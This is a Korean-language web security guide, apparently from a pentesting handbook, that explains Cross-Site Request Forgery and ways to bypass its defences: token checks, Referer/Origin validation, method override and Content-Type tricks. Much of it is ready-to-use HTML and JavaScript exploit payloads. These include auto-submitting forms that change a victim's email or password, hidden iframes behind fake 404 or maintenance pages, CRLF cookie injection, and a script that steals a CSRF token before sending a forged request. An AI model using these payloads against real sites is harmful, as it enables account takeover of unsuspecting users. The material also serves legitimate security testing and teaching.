**Cross-Site Request Forgery (CSRF)**는 웹 애플리케이션에서 발견되는 보안 취약점 유형입니다. 이를 통해 공격자는 인증된 세션을 악용하여 의심치 않는 사용자를 대신하여 작업을 수행할 수 있습니다. 공격은 피해자의 플랫폼에 로그인한 사용자가 악의적인 사이트를 방문할 때 실행됩니다. 이 사이트는 자바스크립트 실행, 양식 제출 또는 이미지 가져오기와 같은 방법을 통해 피해자의 계정으로 요청을 트리거합니다.
CSRF 공격 전제 조건
CSRF 취약점을 악용하려면 다음 조건을 충족해야 합니다:
가치 있는 작업 식별: 공격자는 사용자의 비밀번호 변경, 이메일 변경 또는 권한 상승과 같이 악용할 가치 있는 작업을 찾아야 합니다.
세션 관리: 사용자의 세션은 쿠키 또는 HTTP 기본 인증 헤더를 통해 관리되어야 하며 다른 헤더는 이 목적으로 조작할 수 없습니다.
예측할 수 없는 매개변수 부재: 요청에 예측할 수 없는 매개변수가 포함되어서는 안 되며, 이는 공격을 방지할 수 있습니다.
빠른 확인
Burp에서 요청을 캡처하고 CSRF 보호를 확인하고 브라우저에서 테스트하려면 Copy as fetch를 클릭하여 요청을 확인할 수 있습니다:
사용자 확인: 사용자의 의도를 확인하기 위해 사용자의 비밀번호를 요청하거나 캡차를 해결할 수 있습니다.
Referrer 또는 Origin 헤더 확인: 이러한 헤더를 유효성 검사함으로써 요청이 신뢰할 수 있는 소스에서 오는지 확인할 수 있습니다. 그러나 URL의 신중한 조작으로 잘못 구현된 확인을 우회할 수 있습니다.
http://mal.net?orig=http://example.com (URL이 신뢰할 수 있는 URL로 끝남)
http://example.com.mal.net (URL이 신뢰할 수 있는 URL로 시작함)
매개변수 이름 수정: POST 또는 GET 요청의 매개변수 이름을 변경함으로써 자동화된 공격을 방지할 수 있습니다.
CSRF 토큰: 각 세션에 고유한 CSRF 토큰을 포함하고 후속 요청에서 이 토큰을 요구함으로써 CSRF의 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS를 강제로 적용함으로써 향상시킬 수 있습니다.
이러한 방어 수단을 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다.
방어 우회
POST에서 GET으로
악용하려는 양식이 CSRF 토큰을 사용하여 POST 요청을 보내도록 준비되어 있을 수 있지만, GET도 유효한지 확인하고 GET 요청을 보낼 때 CSRF 토큰이 여전히 유효한지 확인해야 합니다.
토큰 부재
응용 프로그램은 토큰을 확인하는 메커니즘을 구현할 수 있습니다. 그러나 토큰이 없을 때 확인이 완전히 생략되면 취약점이 발생합니다. 공격자는 토큰을 운반하는 매개변수를 제거함으로써 확인 프로세스를 우회하고 효과적으로 CSRF 공격을 수행할 수 있습니다.
CSRF 토큰이 사용자 세션에 바인딩되지 않음
CSRF 토큰을 사용자 세션에 바인딩하지 않는 응용 프로그램은 중요한 보안 위험을 야기할 수 있습니다. 이러한 시스템은 각 토큰이 시작 세션에 바인딩되어 있는지 확인하는 대신 전역 풀에 대해 토큰을 확인합니다.
공격자가 다음과 같이 이를 악용할 수 있습니다:
자신의 계정으로 인증합니다.
전역 풀에서 유효한 CSRF 토큰을 획득합니다.
이 토큰을 사용하여 피해자에 대한 CSRF 공격을 수행합니다.
이 취약점을 통해 공격자는 응용 프로그램의 부적절한 토큰 유효성 검사 메커니즘을 악용하여 피해자를 대신하여 무단 요청을 수행할 수 있습니다.
메서드 우회
요청이 "이상한" 메서드를 사용하는 경우, 메서드오버라이드 기능이 작동하는지 확인하세요. 예를 들어, PUT 메서드를 사용하는 경우 POST 메서드를 시도하고 다음을 보내세요: https://example.com/my/dear/api/val/num?_method=PUT
이는 POST 요청 내부에 _method 매개변수를 보내거나 헤더를 사용하여 작동할 수도 있습니다:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
사용자 지정 헤더 토큰 우회
요청이 CSRF 보호 방법으로 사용자 정의 헤더와 함께 토큰을 추가하는 경우:
사용자 정의 토큰 및 헤더 없이 요청을 테스트하세요.
정확히 동일한 길이지만 다른 토큰으로 요청을 테스트하세요.
CSRF 토큰이 쿠키로 확인됨
응용 프로그램은 요청 매개변수와 함께 토큰을 쿠키에 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 확인하여 CSRF 보호를 구현할 수 있습니다. 응용 프로그램은 요청의 토큰이 쿠키의 값과 일치하는지 확인함으로써 요청을 유효성 검사합니다.
그러나 이 방법은 웹 사이트에 CRLF 취약점과 같은 결함이 있으면 CSRF 공격에 취약합니다. 공격자는 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함을 통해 이를 악용할 수 있습니다. 이후 CSRF 공격을 시작하기 위해 속임수 이미지를 로드하여 쿠키를 설정한 후 CSRF 공격을 시작할 수 있습니다.
다음은 공격이 구성될 수 있는 예시입니다:
<html><!-- CSRF Proof of Concept - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formaction="https://example.com/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="hidden"name="csrf"value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /><inputtype="submit"value="Submit request" /></form><img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body></html>
csrf 토큰이 세션 쿠키와 관련되어 있으면 이 공격은 작동하지 않을 수 있습니다. 왜냐하면 피해자에게 세션을 설정해야 하며, 따라서 자신을 공격하게 됩니다.
Content-Type 변경
여기에 따르면 POST 방법을 사용하여 사전 통지(preflight) 요청을 피하기 위해 허용된 Content-Type 값은 다음과 같습니다:
application/x-www-form-urlencoded
multipart/form-data
text/plain
그러나 Content-Type에 따라 서버의 로직이 다를 수 있으므로 언급된 값 및 application/json, text/xml, application/xml 등의 다른 값을 시도해야 합니다.
JSON 데이터를 POST 요청을 통해 보내려고 할 때, HTML 폼에서 Content-Type: application/json을 사용하는 것은 직접적으로 불가능합니다. 마찬가지로, 이 콘텐츠 유형을 전송하기 위해 XMLHttpRequest를 사용하면 사전 요청이 시작됩니다. 그러나 Content-Type과 관계없이 서버가 JSON 데이터를 처리하는지 확인하기 위한 가능한 우회 전략이 있습니다:
대체 콘텐츠 유형 사용: 폼에서 enctype="text/plain"을 설정하여 Content-Type: text/plain 또는 Content-Type: application/x-www-form-urlencoded을 사용합니다. 이 접근 방식은 백엔드가 Content-Type과 관계없이 데이터를 사용하는지 테스트합니다.
콘텐츠 유형 수정: 사전 요청을 피하면서 서버가 콘텐츠를 JSON으로 인식하도록 하려면 Content-Type: text/plain; application/json으로 데이터를 보낼 수 있습니다. 이는 사전 요청을 트리거하지 않지만 서버가 application/json을 수락하도록 구성되어 있다면 올바르게 처리될 수 있습니다.
SWF 플래시 파일 활용: 덜 일반적이지만 실행 가능한 방법으로는 이러한 제한을 우회하기 위해 SWF 플래시 파일을 사용하는 것이 있습니다. 이 기술에 대한 심층적인 이해를 위해서는 이 게시물을 참조하십시오.
Referrer / Origin 확인 우회
Referrer 헤더 회피
응용 프로그램은 'Referer' 헤더를 확인할 수 있습니다. 브라우저가 이 헤더를 보내지 않도록 하려면 다음 HTML 메타 태그를 사용할 수 있습니다:
<metaname="referrer"content="never">
이는 'Referer' 헤더가 제외되어 일부 응용 프로그램의 유효성 검사를 우회할 수 있도록합니다.
Referrer가 보낼 서버의 도메인 이름을 URL에 설정하려면 다음을 수행할 수 있습니다:
<html><!-- Referrer policy needed to send the qury parameter in the referrer --><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('','','/')</script><formaction="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="submit"value="Submit request" /></form><script>// You need to set this or the domain won't appear in the query of the referer headerhistory.pushState("","","?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")document.forms[0].submit();</script></body></html>
HEAD 메소드 우회
이 CTF 해설의 첫 부분은 Oak의 소스 코드에서, 라우터가 응답 본문이 없는 GET 요청으로 HEAD 요청을 처리하도록 설정되어 있다는 것을 설명합니다. 이는 Oak에만 해당되는 것이 아닌 일반적인 해결책입니다. HEAD 요청을 처리하는 특정 핸들러 대신, HEAD 요청은 단순히 GET 핸들러에 전달되지만 애플리케이션에서 응답 본문을 제거합니다.
따라서, GET 요청이 제한되어 있다면, GET 요청으로 처리될 HEAD 요청을 보낼 수 있습니다.
악용 예시
CSRF 토큰 유출
만약 CSRF 토큰이 방어 수단으로 사용되고 있다면, XSS 취약점이나 Dangling Markup 취약점을 악용하여 유출을 시도할 수 있습니다.
HTML 태그를 사용한 GET
<imgsrc="http://google.es?param=VALUE"style="display:none" /><h1>404 - Page not found</h1>The URL you are requesting is no longer available
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formmethod="GET"action="https://victim.net/email/change-email"><inputtype="hidden"name="email"value="some@email.com" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
폼 POST 요청
<html><body><script>history.pushState('','','/')</script><formmethod="POST"action="https://victim.net/email/change-email"id="csrfform"><input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<inputtype="submit"value="Submit request" /><imgsrc=xonerror="csrfform.submit();" /> <!-- Way 2 to autosubmit --></form><script>document.forms[0].submit(); //Way 3 to autosubmit</script></body></html>
iframe을 통해 Form POST 요청하기
<!--The request is sent through the iframe withuot reloading the page--><html><body><iframestyle="display:none"name="csrfframe"></iframe><formmethod="POST"action="/change-email"id="csrfform"target="csrfframe"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Ajax POST 요청
<script>var xh;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixh=newXMLHttpRequest();}else{// code for IE6, IE5xh=newActiveXObject("Microsoft.XMLHTTP");}xh.withCredentials =true;xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");</script><script>//JQuery version$.ajax({type:"POST",url:"https://google.com",data:"param=value¶m2=value2"})</script>
<--! expl.html --><bodyonload="envia()"><formmethod="POST"id="formulario"action="http://aplicacion.example.com/cambia_pwd.php"><inputtype="text"id="pwd"name="pwd"value="otra nueva"></form><body><script>functionenvia(){document.getElementById("formulario").submit();}</script><!-- public.html --><iframesrc="2-1.html"style="position:absolute;top:-5000"></iframe><h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
CSRF 토큰을 도용하고 POST 요청을 보내기
functionsubmitFormWithTokenJS(token) {var xhr =newXMLHttpRequest();xhr.open("POST",POST_URL,true);xhr.withCredentials =true;// Send the proper header information along with the requestxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");// This is for debugging and can be removedxhr.onreadystatechange=function() {if(xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {//console.log(xhr.responseText);}}xhr.send("token="+ token +"&otherparama=heyyyy");}functiongetTokenJS() {var xhr =newXMLHttpRequest();// This tels it to return it as a HTML documentxhr.responseType ="document";xhr.withCredentials =true;// true on the end of here makes the call asynchronousxhr.open("GET",GET_URL,true);xhr.onload=function (e) {if (xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {// Get the document from the responsepage =xhr.response// Get the input elementinput =page.getElementById("token");// Show the token//console.log("The token is: " + input.value);// Use the token to submit the formsubmitFormWithTokenJS(input.value);}};// Make the requestxhr.send(null);}varGET_URL="http://google.com?param=VALUE"varPOST_URL="http://google.com?param=VALUE"getTokenJS();